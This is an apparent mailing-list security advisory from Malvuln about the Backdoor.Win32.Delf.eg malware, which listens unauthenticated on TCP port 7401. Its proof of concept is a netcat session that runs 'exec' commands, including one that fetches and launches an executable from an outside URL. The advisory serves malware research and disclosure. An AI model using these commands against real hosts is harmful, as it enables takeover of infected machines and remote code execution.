full-disclosure - [FD] Backdoor.Win32.Delf.eg / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WQ3r-QnmkPpBkNnphRcOpZt7=vodRNEbn8DGwLa0dnsJA@mail.gmail.com>
Date: Sun, 2 Oct 2022 01:41:54 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Delf.eg / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/de6220a8e8fcbbee9763fb10e0ca23d7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.eg
Vulnerability: Unauthenticated Remote Command Execution
Description:  The malware listens on TCP port 7401.  Third-party adversarys
who can reach infected systems can issue commands made available by the
backdoor. Call "exec" plus the program name, to launch the victims browser
you add URL after exec and so forth.
Family: Delf
Type: PE32
MD5: de6220a8e8fcbbee9763fb10e0ca23d7
Vuln ID: MVID-2022-0647
Disclosure: 10/02/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 7401
Warning
exec calc.exe
42
exec https://www.malvuln.com/DOOM.exe
42
QUIT
221 Merci d'avoir utilisΘ Under7 version 4.3, crΘe par Liquid Snake

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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